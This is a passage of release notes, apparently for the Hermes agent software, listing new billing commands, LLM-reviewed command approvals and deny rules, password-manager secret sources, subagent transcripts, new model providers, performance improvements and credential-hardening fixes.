<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
